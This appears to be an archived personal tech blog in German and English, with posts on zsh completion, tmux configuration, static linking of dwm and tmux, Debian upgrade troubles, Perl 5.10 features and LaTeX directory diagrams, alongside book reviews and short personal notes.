dieses Buch nun für den Einzelnen bedeutet: Es ist unbedingt lesenswert, nicht nur ob der Tatsache, dass es auch wesentlich diejenigen beeinflusst hat, die uns beeinflussen (siehe auch).
Great. :-(
25 August 2011: Due to unceasing abuse by clouds (now the worst offenders), bots, siphons, aggregators, search engines, and other data thieves the Cryptome RSS feed has been suspended.
There's a Perl module threads::shared
. However, it won't show up as a
completion match to the perldoc
command. Why is that?, a colleague
asked me. Now, that obviously is a quirk, so let's debug it.
We start at /usr/share/zsh/functions/Completion/Unix/_perldoc
, where
we find this:
_alternative \
'modules:module: _perl_modules -tP' \
'pods:base pod: _perl_basepods' \
'files:module or .pod file:_files -g "*.(pod|pm)(-.)"' &&
ret=0
So, go on to _perl_modules
: It searches for paths where Perl would
store modules and their documentation (line 85):
inc=( $( $perl -e 'print "@INC"' ) )
Then, they do some complicated globbing stuff on the directories (line
104), where a loop iterates over $inc
and stores each element in
$libdir
:
new_pms=( $libdir/{[A-Z]*/***/,}*${~sufpat}~*blib* )
There's the catch: This globbing expression will only recurse into
subdirectories that start with an uppercase letter. Lowercase
modules on the highest level are okay, though. That's why threads
appears (from threads.pm
), but threads::shared
doesn't (from
threads/shared.pm
).
The search for all modules that are missed this way will translate to the following Z-Shell command:
$ print -l ${^=$(perl -e 'print "@INC"')}/[a-z]*/***/*.pm(.N)
/usr/lib/perl/5.10/threads/shared.pm
/usr/share/perl/5.10/encoding/warnings.pm
/usr/share/perl/5.10/warnings/register.pm
Die halbe Netzgemeinde spricht über {Wiki,Open}Leaks und die "gekränkten Egos", ex_wl_arch trollt großartig. Über die Datei mit allen Cables wird heiß diskutiert und mit dem Finger gezeigt.
Was ich mich aber doch frage: Warum berichten selbst (in meinen Augen technisch versierte) Blogger von einem "temporären Passwort"? Dass Assange die Datei irgendwo "temporär" abgelegt und vergessen hat ist ja nur menschlich. – Aber wie man ein "temporäres Passwort" mit kryptographischen Tools, die vermutlich Open Source sind, und auf Commodity-Hardware realisiert: Das ist mir ein Rätsel.
Mir fallen ein Dutzend symmetrische und asymmetrische Verfahren ein – aber keines, dass eine Zeitkomponente in nichtmanipulierbarer Weise mit einbezieht.
Update: "temporary password", my ass. GnuPG und 7-Zip. Alles klar.
Yay! My patch to tmux
was accepted yesterday. With it, tmux now supports \
as a line continuation character.
Thus, you can put statements like this in your config:
bind P run-shell \
"tmux set-b $(tmux sa - | curl -F 'sprunge=<-' http://sprunge.us) && \
tmux display-message 'sprunge: upload sucessful!'"
I'm not sure why, but AFAIR I've never done a dist-upgrade
that was
entirely successful. That is true to my Debian system at home as well
as to various other Ubuntu systems I've laid hands on.
My Debian system was a mix of stable and testing packages, and somehow
aptitude
came to a point where it'd just not be able to resolve some
dependencies, meaning I could not install nor remove any new packages.
So I opted for a dist-upgrade
to Testing. Here's how it went, roughly:
aptitude
tries installing libc
,
where the installation process will go into a deadlock. Error
message and solution is posted
here
(yes, you have to manually patch a Perl module). linux-base
has
the same problem.aptitude
won't do any
further upgrading. apt-get dist-upgrade
continues, though.pcspkr
module is appearently now called
snd_pcsp
and is thus loaded, strangely overriding all other sound
drivers. I blacklist it manually, reboot.libcaca0
wants to overwrite
a file which is also present in libcucul0
. Purging libcucul0
will reinstall libcaca0
, which in turn will fail. Turn to manual
override and uninstall all packages libcaca*
and libcucul*
using
dpkg
.xterm
. Inspect the
situation: rxvt
and rxvt-unicode
are missing. Well, thanks, so
here I go, aptitude install rxvt
. But guess what: apt-get
uninstalled aptitude
! Yeah, great.apt-get install rxvt-unicode
, finally a decent terminal. Fire up
mplayer. It's not installed any more. Like, what?!mplayer
, start it on a file. No sound. After various
tries, a pattern aplay
works just fine.mplayer -ao alsa
works. Put it into the config. Happy now with
music.Now, what I ask myself: Manually patching a Perl module, manually
resolving dependencies and invoking dpkg
, being (momentarily)
deprived of the few programs I use on a daily basis ... how will this
packaging system ever be remotely feasible for someone who's not an
expert of sorts and well-versed in debugging in a Unix wold?
Update: Some crap program said it depended on DECnet
stuff. After a reboot, this caused the MAC addresses of all my
interfaces (yes, both wireless and wired!) to be the same, i.e.:
aa:00:04:00:0a:04. Solution is removing libdnet*
and dnet-common
. – You kidding me?!
Ich habe den besseren Teil des Wochenendes damit verbracht, Daniel Suarez' Daemon und dessen Nachfolger Freedom™ zu lesen (auf deutsch Darknet). Aufmerksam geworden war ich auf die Bücher über dieses Interview von Frank Rieger mit dem Autor – sehr, sehr lesenswert.
Das Buch ist auf mehreren Ebenen faszinierend. Zunächst ist es kaum aus der Hand zu legen; es ist leicht geschrieben, voller Spannung, wechselnder Erzählperspektiven, verständlicher Dialoge, kleiner Nebenbei-Geschichten. Dennoch ist Suarez kein großer Literat. Gerade zum Ende der beiden Bücher kommen Wörter wie perimeter und operative gefühlt auf jeder Seite mehrfach vor.
Ich lese wenig bis gar kein Science Fiction. So wie Matrix oder Password Swordfish zwar nette Filme waren – jedem, der sich ein bisschen mit Computern auskennt, graut es davor, zu sehen, wie Computer dargestellt werden. – Ganz anders in den Romanen: Hier kommen auch Kenner auf ihre Kosten. Das fängt an bei Kapiteln die Pwned oder Epic Failure heißen, und geht bis hin zu Hackern, die wirklich hacken: Kein "er tippte wild vor sich hin" um ein WLAN zu knacken – der Protagonist sitzt in seinem Auto mit Laptop, sieht ein WPA-Netzwerk, und snifft via einer Deauth-Attacke die WPA-Handshakes, und wartet dreieinhalb Stunden darauf, bis sein Rechner die Keys aus diesen errechnet hat. Wie man halt ein WLAN knackt. Weitere Details, die den kenntnisrechen Leser erfreuen werden, sind eine (ausgeschriebene!) SQL-Injection-Attacke, ein SNMP-Buffer-Overflow in alten OpenBSD-Versionen sowie ein schlecht konfigurierter Nameserver, der AXFR erlaubt. – Kurz: Ein Autor, der seine Hausaufgaben gemacht hat. So auch Frank Rieger in dem Interview:
Vieles, was Sie beschreiben, ist wirklich technisch möglich, es finden sich praktisch keine Fehler in Ihrem Buch.
Untergründig werden immer wieder gesellschaftliche Misstände, die wir nur allzugern im täglichen Leben ausblenden, eingestreut. Das ist zum einen die Fast-Allmacht der Hochfinanz und die ständig steigende Effizienz von Produktionszyklen zu Lasten der Diversität und damit der Robustheit. Ein nicht unwesentlicher Teil im ersten Band thematisiert auch das (gerade in den USA besonders bedeutende) Thema der Privatisierung von Gefängnissen: moderner, inländischer Sklaverei. Nicht zuletzt wird häufig auf Economic Hitmen und deren Dienste zum Aufstieg der globalen Wirtschaftsmacht USA hingewiesen; im Literatur-Anhang wird auch John Perkins' Buch Confessions of an Economic Hitman referenziert, dass ich mehrmals gelesen habe, und das sehr zu empfehlen ist.
Suarez dazu im Interview:
Aber es läuft etwas sehr schief, wenn die häufigste Quelle großen Reichtums heute darauf beruht, dass man im Finanzsystem zockt, Mittelschichtjobs vernichtet und keinerlei materiellen Wert erschafft.
Was das Buch so spannent macht, ist, dass die Technik, um eine wie dort beschriebene Welt zu erschaffen, prinizpiell schon da ist. Das ist aber auf den ersten Blick nicht ersichtlich. Diese Review beispielsweise meint:
The [logic decision] tree necessary to handle the daemon would be astronomically complex and I don't think any one, no matter how many resources they had, could put such a thing together.
Doch das ist ein Fehlschluss. In der Angangsphase – man könnte es auch Bootstrapping nennen – waren sicherlich gewisse Elemente im Entscheidungsbaum hart codiert (Auswahl des Polizisten z.B.). Aber jeder, der einmal probiert hat, eine AI für ein Spiel zu programmieren, weiß: Man wird nie alle Fälle abdecken. Und selbst für die wenigen "offensichtlichen" Fälle ist die Logik schon unglaublich komplex. – Der Schlüssel des ganzen liegt natürlich im Maschinellen Lernen und Crowdsourcing.
Suarez: In seiner ursprünglichen, noch nicht in die Crowd ausgelagerten Verkörperung verfügte der Daemon über eine kurze Liste von Zielen: erstens Unternehmensnetzwerke infizieren; zweitens menschliche Gefolgsleute finden (unter Verwendung von Konsumentendaten und sozialen Netzwerken); und drittens die Aktivitäten der menschlichen Gefolgsleute nutzen, um Aufgaben auszuführen.
Diese menschlichen Gefolgsleute aber sind es gerade, die den weiteren Entscheidungsbaum (wenn man ihn denn so nennen will) nachhaltig gestalten. Sie geben (als Gemeinde) die Ziele vor, die zu erreichen sind, und "upvoten" die Gedankenströmungen und Menschen, denen sie zustimmen. – Und dass eine simples "like" oder "don't like" bei genügend Ausgangsmaterial eine relativ eindeutige Signatur hinterlässt, das kennen wir schon jetzt: Das ist "Die folgenden Kunden kauften auch..." bei Amazon; die Lieder- und Videovorschläge in diversen Multimedia-Plattformen; die richtigen und ausführlichen Antworten bei StackOverflow ganz oben.
Das Schlüsselkonzept hinter dem gesamten Darknet ist Aggregation. Auch heute haben wir all diese Daten schon, aber wir können sie (zumindest als Privaterson) nur unzureichen aggregieren. Doch dass das möglich ist, zeigt sich in Ansätzen: Da muss man nur mal einen Namen bei Personensuchmaschinen eingeben, und schon erhält man die veröffentlichten Artikel, MP3s, Blogposts, Facebook-Account, Amazon-Wunschzettel, E-Mail-Adressen, ... – Die Daten sind alle da. Insofern erscheint die geradezu utopische (bzw. dystopische) Aggregation, Filterung und Aufbereitung der Daten, wie sie in den Romanen dargestellt wird, gar nicht mehr so unwahrscheinlich, wenn man nur bedenkt, dass es ein System ist, an dem eher Zehntausende denn Tausende Leute mitprogrammiert haben – und dass eine Menge Geld darein investiert wurde.
Ein Manko hat die Erzählung allerdings: Sie ist viel zu sehr Amerika-zentriert. Zwar wird ganz peripher Europa erwähnt, und einige wenige Szenen spielen auch im Ausland. Doch prinzipiell sind es im Wesentlichen die amerikanischen Dienste, und später die amerikanische Bevölkerung, die sich mit dem Daemon auseinandersetzt.
Alles in Allem liefern die Bücher eine Meneg Stoff zum Nachdenken, und einige simple, aber äußerst wichtige Wahrheiten.
Suarez: Die Natur bestraft einzelne Fehlschläge, weil ein gewisses Maß an Fehlschlägen unvermeidlich ist. Wir sollten daher in erster Linie zu vermeiden versuchen, dass Fehlschläge sich kaskadenförmig ausbreiten, und unsere Fähigkeit verbessern, uns von solchen Fehlschlägen rasch zu erholen.
Dringende Leseempfehlung.
Irgendwie kann ich das Bild hier zu 100% unterschreiben:
Ich habe halt immer "heimlich" eigene englische Bücher gelesen, und das hat sich entsprechend auf meine Note ausgewirkt. Und Arthur Millers Stücke finde ich immer noch nicht interessant.
The bit.ly service requires some sort of registration or an API key for some time now. I used to use it in shell scripts to automate shortening of links.
Similar to the sprunge pastebin service, there's come up a new, easy-to-understand URL shortening service called gnzkrz (short for German "ganz kurz", "very short"). And with it's latest commit, it acquired a simple API. I use it as such:
#!/bin/sh
URL=`xclip -o`
SHORT=`wget -qO- "http://krzz.de/_api/save?url=$URL"`
(echo -n $SHORT | xclip -i -display :0 -loops 0 ) &
/home/feh/bin/notify-wrapper "krzz.de: switched URL in clipboard" "$SHORT"
Now I simply bind a hotkey to call this program, and it will exchange the URL from my X clipboard with a shortened version.
Eben habe ich einen Anruf von einer unbekannten Nummer erhalten, bin rangegangen, Stille am anderen Ende – dann wurde aufgelegt. So wie's aussieht ist das bei dieser Nummer bekannt und es gibt sechs(!) entsprechende Kommentare dazu.
Die angepriesene Lösung besteht darin, sich bei einer "Vermittlungsorganisation" anzumelden und deren Telefonnummer anzugeben. Die berechnen jeden eingehenden Anruf saftig und fragen erst nach, ob man denjenigen (im Zweifel Werber) sprechen möchte – soweit ich die AGB überblicken konnte, werden aber die persönlichen angegebenen Daten nicht weiter veröffentlicht.
Was es alles gibt.
Today, virtually all binaries used on linux systems are dynamically linked to several libraries. While it is commonly accepted statically linking applications is bad – most notably in terms of security concerns: fixing a library's bug means you won't have to recompile all applications that are using that special library, they'll simply load the version available at run-time – there are in fact good reasons to use static linking. (And for those who claim statically linked binaries occupy much disk space: yeah, sure. As if a few megs compared to a few hundred kilobytes make that much a difference today, plus you don't have the overhead of looking up and loading the libs in the first place.)
As I mentioned in my post about tmux already, there's a huge advantage to static linking: you can compile bleeding edge software with bleeding edge library functions and still use them on reasonably outdated systems (think: Debian stable).
One division of rapidly evolving software I could never successfully link statically was window managers like dwm or awesome. However, especially considering the XCB development and adoption over the past few years, to me it makes perfect sense. I'll just distribute a copy of the window manager I use to different systems and have a guarantee it'll work there, no matter the libxcb version (or if it's available at all).
Usually, however, it's not possible to just pass a -static
or
-Wl,-Bstatic
flag to the compiler (in my case, gcc). It'll fail to
find several symbols that are located in libraries that don't have to
be explicitly linked in. Such an error message might look like this:
/usr/lib/libXinerama.a(Xinerama.o): In function `find_display':
(.text+0x89): undefined reference to `XextCreateExtension'
/usr/lib/libXinerama.a(Xinerama.o): In function `XineramaQueryScreens':
(.text+0x255): undefined reference to `XMissingExtension'
To find the appropriate library, you may try to use pkg-config.
I use a different approach, however. I have a shell function defined
called findsym
(beware, Z-Shell specialties apply):
findsym () {
[[ -z $1 ]] && return 1
SYMBOL=$1
LIBDIR=${2:-/usr/lib}
for lib in $LIBDIR/*.a
do
nm $lib &> /dev/null | grep -q $SYMBOL && \
print "symbol found in $lib\n -L$LIBDIR -l${${lib:t:r}#lib}"
done
}
Thus, I can simply go looking for the missing XMissingExtension
symbol like this:
$ findsym XMissingExtension
symbol found in /usr/lib/libXext.a
-L/usr/lib -lXext
symbol found in /usr/lib/libXi.a
-L/usr/lib -lXi
symbol found in /usr/lib/libXinerama.a
-L/usr/lib -lXinerama
symbol found in /usr/lib/libXrandr.a
-L/usr/lib -lXrandr
Now, I use the readme file, some common sense or symple try'n'error to
find out which library I'd best link in, too. In this case, it's
adding a simple -lXext
to the LDFLAGS
part.
Thus, I come up with the following diff to dwm's config.mk
:
--- a/config.mk
+++ b/config.mk
@@ -16,7 +16,7 @@ XINERAMAFLAGS = -DXINERAMA
# includes and libs
INCS = -I. -I/usr/include -I${X11INC}
-LIBS = -L/usr/lib -lc -L${X11LIB} -lX11 ${XINERAMALIBS}
+LIBS = -L/usr/lib -L${X11LIB} -static -lX11 ${XINERAMALIBS} -lxcb -lXau -lXext -lXdmcp -lpthread -ldl
# flags
CPPFLAGS = -DVERSION=\"${VERSION}\" ${XINERAMAFLAGS}
There's one important point here: libX11 will (to me, it seems,
inevitably) load another library, not sure why or which one. Thus, it
is vitally important to statically link in libdl
, the library that
dynamically loads another library. Otherwise, the follwing error
messages appear:
/usr/lib/libX11.a(CrGlCur.o): In function `open_library':
(.text+0x3b): undefined reference to `dlopen'
/usr/lib/libX11.a(CrGlCur.o): In function `fetch_symbol':
(.text+0x6b): undefined reference to `dlsym'
/usr/lib/libX11.a(CrGlCur.o): In function `fetch_symbol':
(.text+0x88): undefined reference to `dlsym'
With the above modification to config.mk
, dwm will compile and link
just fine:
$ file dwm
dwm: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically linked, for GNU/Linux 2.6.18, not stripped
You can reduce the binary's size by a few hundred kilobytes by
manually calling strip(1)
.
The binary works very well for me. I'll try to use it on different systems over the next few weeks and see what happens. If that works out well, I'll also try to get lucky with awesome and zathura, as these (and the libraries needed) are not installed on many systems, either.
Der vergangene Monat war hart: Mein hauseigener Dönermann hatte zugemacht, und die Hausverwaltung hatte wohl nicht so schnell einen Nachmieter finden können. Den ganzen Juli lang musste ich überlegen, ob ich nach links zum Araber, oder nach rechts zum Türken gehe, jeweils mehrere Dutzend Meter. (Siehe auch das Paradox of Choice, das sich auf so vieles projizieren lässt...)
Diese Qual der Wahl ist jetzt aber glücklicherweise vorbei. Denn es hat ein neuer Dönermann unten aufgemacht. Es gibt keine Spielautomaten mehr, dafür mehr Stühle. Da, wo vorher die Bar war – es gibt jetzt nicht mal mehr Bier –, steht jetzt ein großer, flacher Ofen, und es wird herrlich leckeres und backfrisches Ramazan Pidesi verkauft.
Das ist nun mittlerweile der dritte Dönermann seit Januar diesen Jahres. Entweder rentiert sich das nicht wirklich, oder das Angebot ist einfach zu groß um sich eine dauerhafte Position zu sichern. Vielleicht lässt sich mit nur wenige Monate bestehenden Firmen aber auch einfach besser Geld waschen. Wer weiß?
Ziemlich genau einen Monat habe ich gebraucht, um die über 1500 Seiten vom Unendlichen Spaß von DFW durchzuarbeiten. Im Jahr 2009 erschienen ja zwei deutsche Übersetzungen von "Meilensteinen der modernen Literaturgeschichte": Bolaños 2666 und eben DFWs Unendlicher Spaß. 2666 hatte ich schon letztes Jahr gelesen – und nun, da ich mein großes Projekt abgeschlossen hatte, konnte ich mich endlich an den Spaß wagen.
Der Roman ist grandios. Liest man den Klappentext, denkt man, einige Leute wären auf der Suche nach einem Film, der einem so viel und langanhaltend Spaß bereitet, dass man daran stirbt. Allerdings geht es darum eigentlich gar nicht. Oder schon, teilweise.
Das Buch beginnt unvermittelt, geht unvermittelt weiter, und endet auch irgendwie unvermittelt. So richtig gibt es keine Handlung, aber das spielt auch eigentlich gar keine Rolle, ob es nun eine wirkliche Handlung gibt.
Das ganze Buch ist, analog zu den "Aprèsgarde"-Filmen James Orin Incandenzas, dem verstorbenen Vater eines der Protagonisten, antikonfluentieller Natur, zerfasert. (Siehe dafür auch ab S. 92 sowie Fußnote 24.) Die dutzende von Handlungssträngen finden teilweise ein ganz wenig, manchmal auch nur als Teil von Erinnerungen, Halluzinationen oder Träumen zusammen, oder häufig halt auch gar nicht bzw. nur durch Ähnlichkeit der Situationen oder Dialoge.
Insgesamt besticht das Buch durch die diversen textlichen Stilelemente, grandiose Sätze, faszinierenden Detailreichtum – der meist nichts wesentliches zur Geschichte beiträgt, aber gerade deshalb so faszinierend ist – und nicht zuletzt durch äußerst eindrückliche Beschreibungen von Sucht und Depression und der damit einhergehenden Verzweiflung.
Zur Lesetechnik: Die fast 400 Fußnoten sind wesentlich für das Verständnis des Buches. Die Paperback-Ausgabe hat leider keine Lesezeichen, so dass ich dringend empfehle, das Buch mit zwei Lesezeichen zu lesen. Dafür eignet sich z.B. auch gut dieses Diagramm aller handelnden Personen und ihrer Verbindung zueinander – einfach ausdrucken und an der richtigen Stelle in den Fußnotenapparat legen.
Nach dem Lesen des Buches würde ich unbedingt noch einmal die ersten beiden Kapitel lesen, was eine sehr aufschlussreiche Erfahrung ist. Auch weitere Fragestellungen oder eine Interpretation des Endes können dann hilfreich sein.
Eine Sache, die mich noch immer verwirrt: Manche Kapitel haben einen kleinen Kreis über dem Titel, dessen eines Viertel auch auf der Seite, auf der die Anmerkungen beginnen, wiederholt wird. Hier gibt es eine Auflistung der Kapitel mit entsprechender Markierung. – Was bedeutet der Kreis?
I had invited Nicholas Marriott to LinuxTag 2011 in Berlin to
give a talk on tmux
. I was conviced I should drop screen for tmux,
but ... Yesterday would be the day I first installed the program, and
by now I'm actively using it.
It was not without pressure, though. I had volunteered to give a talk on tmux at work, and today was the date. See the quick'n'dirty slides here (in German).
tmux
needs a fairly recent libevent
. So if you want to run a recent
tmux version (1.5) on a Debian stable system, you should consider
linking it statically like so:
$ ./configure --enable-static
$ sed -i '/^LIBS =/s/$/ -lresolv/' Makefile
$ make CC='gcc -static'
$ cp tmux ~/bin
The sed
call is needed to make the static linking work, otherwise
gcc
will fail to find the symbol __b64_ntop
, which is part of
glibc
's libresolv
.
First action to be taken is to make Ctrl-A the prefix. I mean, seriously, why would you use Ctrl-B? It's for "previous page" or previous argument!
unbind C-b
set -g prefix C-a
bind a send-prefix
bind C-a last-window
Next is the status bar. The syntax is pretty self-explanatory.
set -g status-bg yellow
set -g status-fg black
set -g status-interval 5
set -g status-left "#[fg=red]#S %H:%M "
set -g status-right "#H: #(cut -d' ' -f1-3 /proc/loadavg)"
set -w -g window-status-current-bg red
set -w -g window-status-current-fg yellow
Also, cycling through the windows becomes easier. The -r
switch to
bind
allows half a second time (set via repeat-time
) to perform
the next keystroke without pressing the prefix again. So
<prefix><space><space><space>
will move you three windows ahead:
# repeated space/backspace toggles windows forward/backwards
bind -r Space next-window
bind -r C-Space next-window
bind -r C-h previous-window
bind -r C-? previous-window
This feature is very handy for resizing or switching panes repeatedly. (Read more about sessions/windows/panes in the docs...)
bind -r h select-pane -L
bind -r j select-pane -D
bind -r k select-pane -U
bind -r l select-pane -R
Having multiple panes in one window is easy enough. Splitting panes,
however, is sort of counter-intuitive: A horizontal split (split-window
-h
) will divide the current pane into two panes that are horizontally
next to each other – i.e., a horizontal split will introduce a
vertical split line between to panes. This resource has
a nice idea to make splitting more idiomatic:
bind | split-window -h
bind - split-window -v
For a great feature, check out link-window
. If you do name your
sessions and windows in a predictable way so that you can match them
via fnmatch(3)
, you'll be able to do cool things like this:
bind M link-window -s comm:mutt*
bind I link-window -s comm:irssi*
bind K unlink-window
So with Prefix-M you'll quickly bring up the mutt instance of your communication's session, and will detach that single window with Prefix-K again. That's especially handy for things like Mail and IRC client, music player, Todo Lists ...
Side note: Sadly, it's not possible without some tricks to link a window from another session to a pane (sub-window) in the current session. (Think a ten-line-high IRC client at the bottom of your current window.) The FAQ says "[fixing this] is a big todo item but quite invasive".
I have never understood why automatically pasting to a pastebin service should be so hard as in "I need a huge script to do the job!".
Luckily, once in a while there are smart people that build good and simple applications. Enter sprunge, the first truly sane pastebin service. Need to know how it works? You'll find the man page on their website (no, really). – No listing of pastes. No annotation, comments, amendments. No foobar. Paste away!
$ sprunge < ~/bin/sprunge
http://sprunge.us/OcPR
$ wget -qO- http://sprunge.us/OcPR
#!/bin/sh
exec curl -F 'sprunge=<-' http://sprunge.us
When writing the git book we faced a problem: when dealing with an example repository, how do you describe a directory structure?
Simply "writing" about it is the cheap apporach, although pretty stupid: most readers (including me) would skip over the paragraph. Later, they'd be confused when we'd refer to a specific property of the repository layout.
The intermediate approach was to simply paste the output of the tree
unix command. That was hard to "parse" though, and didn't look well.
It is clear that a graphic representation of the directory structure is optimal. But: how? The easiest way would be to install some graphical application that can represent tree-structures, such as Nautilus. There are no upsides to this, but two minor downsides: it looks crappy, and it requires you to install some hundred megabytes of gnome-wtf-libs.
The major downside is this: If you want to re-do the screenshot, you'll need the same directory structure, the same setup, GNOME styles, same selection to grab, ... there is no easy way to automate this.
Not wanting to settle for the cheap way, what were the goals our solution had to meet?
An alternative that came to my mind was to use GraphViz's
neato
tool. I wrote a Perl script to convert a directory structure
to a diagram. The code's too cruel to be released to the world. You
can imagine what it looks like by invoking:
neato -Txlib <<EOF
graph G {
n1 [shape=folder width=1 style=filled label="baz" pos="0.00,0.00!"];
n2 [shape=box height=.2 width=1 labelloc=t label="file" pos="0.00,-0.60!"];
n3 [shape=folder width=1 style=filled label="foo" pos="0.00,-1.20!"];
n4 [shape=folder width=1 style=filled label="bar" pos="1.20,-1.20!"];
n3 -- n4;
n1 -- n2 -- n3;
}
EOF
However, this output did not meet above criteria #3&4. It looked even
cheaper than simple tree
output.
The solution we settled for was dirtree.sty. It works like this:
You download the dirtree.sty
and dirtree.tex
file, place them
within your project and add a \usepackage{dirtree}
. In theory, you
can then include a \dirtree{}
declaration (see the docs for
details).
For example, this code (note the percent sign on line #1)...
\dirtree{ %
.1 .git/.
.2 HEAD.
.2 config.
.2 hooks/.
.2 index.
.2 info/.
.2 logs/.
.3 HEAD.
.3 refs/.
.2 objects/.
.3 info/.
.3 pack/.
.2 refs/.
.3 heads/.
.3 remotes/.
.3 tags/.
}
will produce the following graphic:
However, since it's not part of the LaTeX standard distribution, you cannot be sure about it's stability. It may use "dangerous" LaTeX constructs, etc... certainly nothing you want to include "as-is" in a book that'll eventually be printed. Also, the book will go through a conversion process to be distributed as an Ebook. You wouldn't want such a little LaTeX hack to be a show-stopper – or, worse yet, discover document corruption just after you got some thousand fresh copies from the printing press.
EPS/PDF files are stable, however. So what we did was this:
\dirtree{}
statements into separate files, including some
\begin{document}
stuff so that it will compile to a PDF file
containing just the diagram.In terms of Makefile statements, Valentin came up with this:
files=objektmodell-programm-crop\
svn-stdlayout-crop\
svn-nonstdlayout-crop\
svn-branches-crop\
git-branches-crop\
git-dir-crop
pdfs=$(addsuffix .pdf, $(files))
epss=$(addsuffix .eps, $(files))
all: $(pdfs) $(epss)
clean:
-rm -v *.pdf *.eps *.aux *.log
%.pdf : %.tex
pdflatex $<
%-crop.pdf : %.pdf
pdfcrop $<
%-crop.eps : %-crop.pdf
pdftops -eps $< $@
Now it's as simple as make -C dir-listings && git add dir-listings
(with an appropriate .gitignore
file) to record changes to diagrams
and recompile the PDF and EPS files. If you don't plan to keep the
compiled files in your repository, you can also add a dependency for
the subdirectory to your main Makefile.
For some days now, G+ has opened its doors to beta testers. All the people want invitations, and Reddit realized for a long time already that Facebook will be the new MySpace.
Now, last tuesday or so I saw G+ at a friend's, who sent me an invitation. Friday, I pondered the question of whether or not to sign up for G+ – literally for hours. (I have to admit, though, that while lying on my bed and considering the arguments, I fell asleep for a short period.)
I had seen some of the freshly-made Google profiles of the avant-garde – that is, technophile persons whose blogs I enjoy from time to time – and was rather impressed of the quality content they posted. So I decided to give it a try.
Now this was a major step! G+ would be the first Google product I would use that requires registration. So I went through the process and was eager to try out G+. However, as I had heard already, getting an invite doesn't mean you can use it right away, it might take a day or two.
To make a long story short: While waiting for this timespan to elapse, I browsed through various circles. And what I saw struck me as a Facebook for grown ups: People I don't know talking about stuff I don't care about, in a way that might be appropriate in a bar atmosphere, but not to be archived publicly until ... forever or something.
A day later I got a second invite, and I could continue to the G+ thing. However, the site that came up told me my browser was not supported (it's FF 3.5). So, it seems I'm not avant-garde enough to use G+.
I just deleted my freshly created Google account. I mean, come on, it's sunny outside and there's a pile of unread books waiting!
I am closely following the secession of Southern Sudan. It is a very intriguing situation – the birth of a new state.
Information is scarce about this topic. The Sudan Tribune provides some insights, but most quality coverage is done by Al Jazeera here. Some facts to consider (quoted from here):
Eritrea, Libya and Iran have already stated they won't recognize Southern Sudan as a state. Most western countries probably will, as plans are persued to open embassies in Juba. (Juba has just been getting a new international airport – I wonder how much fuel they keep on stock to operate it just with generator power?)
Nach der Sommerpause wird über eine neue Fassung des Transplantationsgesetzes diskutiert.
Zwar sind laut Umfragen bis zu 75 Prozent der Deutschen prinzipiell zur Organspende bereit, aber nur 25 Prozent haben tatsächlich einen Organspendeausweis. Würden die Menschen gezwungen, sich zu erklären, so das Kalkül der Politik, dann stiege auch die Zahl der verfügbaren Spenderorgane.
Es ist ein typisch-deutsches Phänomen, zu sagen: "Ja, ich bin total für X (aber nicht wirklich)": "Ausländer ja, aber nicht hier" – "Schwule ja, aber bitte nicht in der Öffentlichkeit" – "Öko-bla ja, aber bitte kein teureres Benzin".
Daher glaube ich, ein einfaches Kreuz bei "Ja, ich will spenden" wird wesentlich mehr Menschen anlocken als der Gang zu einer Institution, die Organspendeausweise verteilt (und das ständige Herumtragen desselben). Ich habe seit 2006 einen Organspendeausweis und finde das sehr wichtig. Ich würde ja auch im Falle des Falles gerne ein Ersatzorgan haben.
Al-Jazeera-Linkdump:
With it's 5.10 version, Perl learned some pretty interesting new features. Some of them modify the syntactic interpretation of Perl code, so to stay backwards-compatible, you have to manually enable them. To do this, add a line like
use feature qw(:5.10);
to your other use
declarations. (For one-liners, add the -E
command line switch.) The documentation is available via perldoc
feature
or online.
There's one pretty trivial change that nonetheless has bothered me for
a long time already. Why is there no function in Perl to print out
some strings, and then finish with a newline? I mean, almost every
sane programming language has this, and it helps writing clean code a
lot (no fiddling with \n
and so on). – Now, they backported
the say
function from Perl 6, which does just that: add an omplicit
newline.
The new concept of state variables is nothing I need for now; however,
the feature they strangely call switch
(although the actual keywords
are given
/when
) is pretty nice: It's pretty much like what you'd
expect with a typical C construct like this:
switch(var) {
case 1:
/* do something */
break;
...
default:
/* do default thing */
break;
}
In Perl that's now:
given($var) {
when(condition1) {
# do something
}
do_other_thing when condition2; # as one-liner
default {
# fallthrough case
}
}
Update: The statement when condition;
one-liner doesn't work.
Don't know where I got that from.
You can use simple strings (maps to $_ eq "string"
), regular
expressions (maps to $_ =~ /regex/
) or function references like
\&myfunc
(maps to myfunc($_)
).
The best improvement, however, are so-called named captures.
(You don't have to enable those specifically.)
It allows regexes to contain pairs of parentheses that you can assign
a name to later extract the match. That means: no stupid and
mind-boggling re-numbering of $2
to $3
etc., just because you
added a set of brackets around something you want to extract from a
string. Consider this example regex:
my $re = qr/
(?<user>[^\@\s]+)
\@
(?<domain>[^\s">]+)
/x;
You can now access the user-part of the e-mail address via $+{user}
,
not necessarily via $1
. The immediate gain is obvious: if you add
parentheses around the whole expression (to capture the whole e-mail
address) the user part is still available via $+{user}
. The numbered
variable would be $2
now, though.
Another side-effect is that you can test several regexes in a row now, and
later extract matching parts from all of these – of course only
if you use distinct capture names. Hash entries in %+
will only be
updated upon a match (and won't be cleared AFAIK, at least in the
lexical scope).
Hier und heute, Anfang Juli: Komplett verregnetes Wochenende mit zwölf Grad. – Vor dem Hintergrund, dass Anfang kommender Woche die ersten Klausuren anstehen ist das eigentlich total gutes (Lern-)Wetter.
Ich habe den besseren Teil des Vormittags damit verbracht, über Nomic zu lesen. Darauf gekommen bin ich über diesen Blogartikel, der über Mittel und Wege reflektiert, eine Online-Community "gesund" zu halten.
Zurück geht das ganze auf ein Buch von Peter Suber, "The Paradox of Self-Amendment", untertitelt "A Study of Law, Logic, Omnipotence, and Change". Prinzipiell dreht sich alles um die folgende Frage: Wenn man ein System von Regeln aufstellt, das eine Regel beinhaltet, die die Abwandlung, das Hinzufügen und Entfernen von Regeln erlaubt – was passiert dann?
Das kann man auf Regelwerke wie die Amerikanische Verfassung beziehen, die ja auch Amendments, also Erweiterungen hat. Ganz konkret kann man das ganze aber auch als Spiel formulieren – und das wird in Anlehnung an das griechische Wort für Gesetz Nomic genannt.
Das von Suber entwickelte Initial Ruleset gibt schon gute Aufschlüsse darüber, wie das Spiel verlaufen wird. Wesentlich ist vor allem der Unterschied zwischen "immutable" und "mutable" Rules – Gegenpart in unserer nationalen Politik wären beispielsweise GG-Änderungen, oder andere Änderungen, die nur mit 2/3-Mehrheit zu erreichen sind.
